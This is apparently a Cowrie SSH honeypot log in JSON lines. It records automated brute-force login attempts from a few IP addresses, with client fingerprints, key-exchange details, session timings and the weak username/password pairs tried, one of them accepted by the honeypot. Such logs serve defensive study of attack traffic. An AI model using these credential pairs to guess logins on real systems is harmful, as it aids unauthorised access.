{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:24.617694Z","src_ip":"45.153.34.195","session":"cec5f3080baf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:24.714395Z","src_ip":"45.153.34.195","session":"cec5f3080baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.5","message":"Connection lost after 21.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:24.949396Z","src_ip":"91.92.40.36","session":"d32e9d09036f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:25.238929Z","src_ip":"45.153.34.195","session":"cec5f3080baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:26.321336Z","src_ip":"45.153.34.195","session":"cec5f3080baf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"penn","message":"login attempt [admin/penn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:27.337728Z","src_ip":"91.92.40.36","session":"ee911ac49568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47760,"dst_ip":"10.17.0.5","dst_port":22,"session":"783331f80bda","protocol":"ssh","message":"New connection: 45.153.34.195:47760 (10.17.0.5:22) [session: 783331f80bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:27.593404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:27.602892Z","src_ip":"45.153.34.195","session":"783331f80bda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:27.677504Z","src_ip":"45.153.34.195","session":"783331f80bda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56074,"dst_ip":"159.203.135.109","dst_port":22,"session":"9edbd6ce667b","protocol":"ssh","message":"New connection: 91.92.40.36:56074 (159.203.135.109:22) [session: 9edbd6ce667b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:27.847809Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin@123","message":"login attempt [ubuntu/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:28.004634Z","src_ip":"45.153.34.195","session":"783331f80bda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:29.088461Z","src_ip":"45.153.34.195","session":"783331f80bda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":47788,"dst_ip":"10.17.0.5","dst_port":22,"session":"40a61a1736cd","protocol":"ssh","message":"New connection: 45.153.34.195:47788 (10.17.0.5:22) [session: 40a61a1736cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:30.381436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:30.389247Z","src_ip":"45.153.34.195","session":"40a61a1736cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:30.471149Z","src_ip":"45.153.34.195","session":"40a61a1736cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"123456","message":"login attempt [demo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:30.718392Z","src_ip":"45.153.34.195","session":"40a61a1736cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:31.804638Z","src_ip":"45.153.34.195","session":"40a61a1736cd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:31.930675Z","src_ip":"91.92.40.36","session":"9edbd6ce667b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:31.933708Z","src_ip":"91.92.40.36","session":"9edbd6ce667b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.6","message":"Connection lost after 21.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:32.631501Z","src_ip":"91.92.40.36","session":"ee911ac49568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":17444,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0b1671e0f92","protocol":"ssh","message":"New connection: 45.153.34.195:17444 (10.17.0.5:22) [session: c0b1671e0f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:33.046807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:33.151324Z","src_ip":"45.153.34.195","session":"c0b1671e0f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:33.155451Z","src_ip":"45.153.34.195","session":"c0b1671e0f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq111111","message":"login attempt [root/qq111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:33.585762Z","src_ip":"45.153.34.195","session":"c0b1671e0f92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56122,"dst_ip":"159.203.135.109","dst_port":22,"session":"525ccfd65a06","protocol":"ssh","message":"New connection: 91.92.40.36:56122 (159.203.135.109:22) [session: 525ccfd65a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:33.998697Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:34.668733Z","src_ip":"45.153.34.195","session":"c0b1671e0f92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":17458,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf7c04d34c76","protocol":"ssh","message":"New connection: 45.153.34.195:17458 (10.17.0.5:22) [session: bf7c04d34c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:35.755759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:35.780095Z","src_ip":"45.153.34.195","session":"bf7c04d34c76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:36.014492Z","src_ip":"45.153.34.195","session":"bf7c04d34c76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:36.367441Z","src_ip":"45.153.34.195","session":"bf7c04d34c76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:37.450884Z","src_ip":"45.153.34.195","session":"bf7c04d34c76","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:37.533213Z","src_ip":"91.92.40.36","session":"525ccfd65a06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:37.551223Z","src_ip":"91.92.40.36","session":"525ccfd65a06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":17468,"dst_ip":"10.17.0.5","dst_port":22,"session":"40a6e5680446","protocol":"ssh","message":"New connection: 45.153.34.195:17468 (10.17.0.5:22) [session: 40a6e5680446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:38.587842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:38.593633Z","src_ip":"45.153.34.195","session":"40a6e5680446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:38.677530Z","src_ip":"45.153.34.195","session":"40a6e5680446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:38.927022Z","src_ip":"45.153.34.195","session":"40a6e5680446","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1q2w3e4r5t","message":"login attempt [oracle/1q2w3e4r5t] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:38.939408Z","src_ip":"91.92.40.36","session":"1e16e9df5cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":58876,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cdc6ed4fd27","protocol":"ssh","message":"New connection: 103.27.238.120:58876 (10.17.0.5:22) [session: 0cdc6ed4fd27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:39.900046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:39.905195Z","src_ip":"103.27.238.120","session":"0cdc6ed4fd27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34816,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab888a34929b","protocol":"ssh","message":"New connection: 91.92.40.36:34816 (159.203.135.109:22) [session: ab888a34929b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:39.923157Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:02:40.012233Z","src_ip":"45.153.34.195","session":"40a6e5680446","protocol":"ssh"}
